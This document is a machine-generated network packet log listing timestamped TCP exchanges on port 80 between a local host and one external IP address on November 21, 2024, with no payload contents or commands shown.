Nov 21, 2024 03:09:15.046693087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.046746016 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.046822071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.046871901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.047591925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.047645092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.047646046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.047700882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.048366070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.048420906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.048501968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.048553944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.049196005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.049247980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.049273968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.049324989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.050746918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.050807953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.050812960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.050857067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.050973892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.051024914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.051090002 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.051143885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.051829100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.051879883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.051938057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.051990986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.052654982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.052707911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.052740097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.052808046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.210392952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.210422039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.210472107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.210508108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.210834980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.210897923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.210932970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.210952044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.211575031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.211630106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.211726904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.211785078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.212408066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.212461948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.212539911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.212594032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.213257074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.213308096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.213371038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.213423014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.214078903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.214138031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.214195013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.214246988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.214901924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.214956045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.214956999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.215008974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.215729952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.215785027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.215842009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.215888977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.216569901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.216686964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.216689110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.216737986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.217391014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.217443943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.217508078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.217556953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.218234062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.218288898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.218354940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.218405008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.219062090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.219119072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.219149113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.219199896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.219921112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.219976902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.220016956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.220067978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.220737934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.220796108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.220854998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.220920086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.221553087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.221621037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.221678019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.221779108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.222383976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.222443104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.222507000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.222558022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.223220110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.223275900 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.223375082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.223429918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.224056959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.224117994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.224185944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.224237919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.224900961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.224961996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.225028992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.225091934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.225748062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.225797892 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.225866079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.225910902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.226571083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.226692915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.226701975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.226752043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.227385998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.227452040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.227541924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.227593899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.228240013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.228295088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.228296995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.228338003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.229098082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.229151011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.229224920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.229275942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.229918003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.229970932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.229971886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.230020046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.230741978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.230803013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.230859995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.230911970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.231589079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.231642962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.231690884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.231739998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.232414961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.232465982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.232525110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.232574940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.233233929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.233290911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.233359098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.233409882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.234059095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.234107018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.234174013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.234225988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.234894037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.234946966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.235003948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.235054016 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.235759974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.235814095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.235879898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.235929966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.236552954 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.236607075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.236718893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.236771107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.237418890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.237471104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.237550974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.237602949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.238240004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.238295078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.238360882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.238409996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.239078045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.239132881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.239213943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.239264965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.239912987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.239963055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.240036964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.240108013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.240731001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.240787983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.240864038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.240912914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.241561890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.241625071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.241679907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.241734028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.242420912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.242475986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.242537975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.242583990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.243237019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.243292093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.243366003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.243417978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.244082928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.244138002 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.244168997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.244219065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.244909048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.244963884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.245021105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.245070934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.246215105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.246253967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.246277094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.246296883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.246577024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.246627092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.246748924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.246799946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.247400045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.247458935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.247525930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.247575998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.248239994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.248296976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.248353958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.248403072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.249077082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.249140978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.249209881 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.249260902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.249936104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.249996901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.250065088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.250132084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.250746965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.250802994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.250835896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.250884056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.252108097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.252181053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.252212048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.252266884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.252543926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.252595901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.252662897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.252713919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.253407955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.253463030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.253520966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.253570080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.254165888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.254229069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.411575079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.411647081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.411648989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.411698103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.412015915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.412065983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.412070036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.412122011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.412813902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.412858009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.412940979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.412986040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.413712025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.413752079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.413765907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.413799047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.414453030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.414499044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.414578915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.414633989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.415307045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.415355921 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.415401936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.415451050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.416121960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.416178942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.416243076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.416292906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.416943073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.416989088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.417068005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.417118073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.417784929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.417893887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.417902946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.417959929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.418616056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.418662071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.418740988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.418783903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.419447899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.419493914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.419557095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.419601917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.420289993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.420336008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.420398951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.420439005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.421112061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.421159029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.421236038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.421279907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.421958923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.422007084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.422123909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.422174931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.422801971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.422848940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.422914982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.422965050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.423623085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.423677921 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.423779964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.423839092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.424454927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.424504042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.424568892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.424618006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.425288916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.425338984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.425404072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.425451994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.426116943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.426167011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.426232100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.426282883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.426955938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.427005053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.427068949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.427119017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.427814960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.427911997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.427920103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.427982092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.428621054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.428673983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.428739071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.428790092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.429451942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.429502010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.429537058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.429584026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.430315971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.430365086 CET	49814	80	192.168.2.5	31.41.244.11
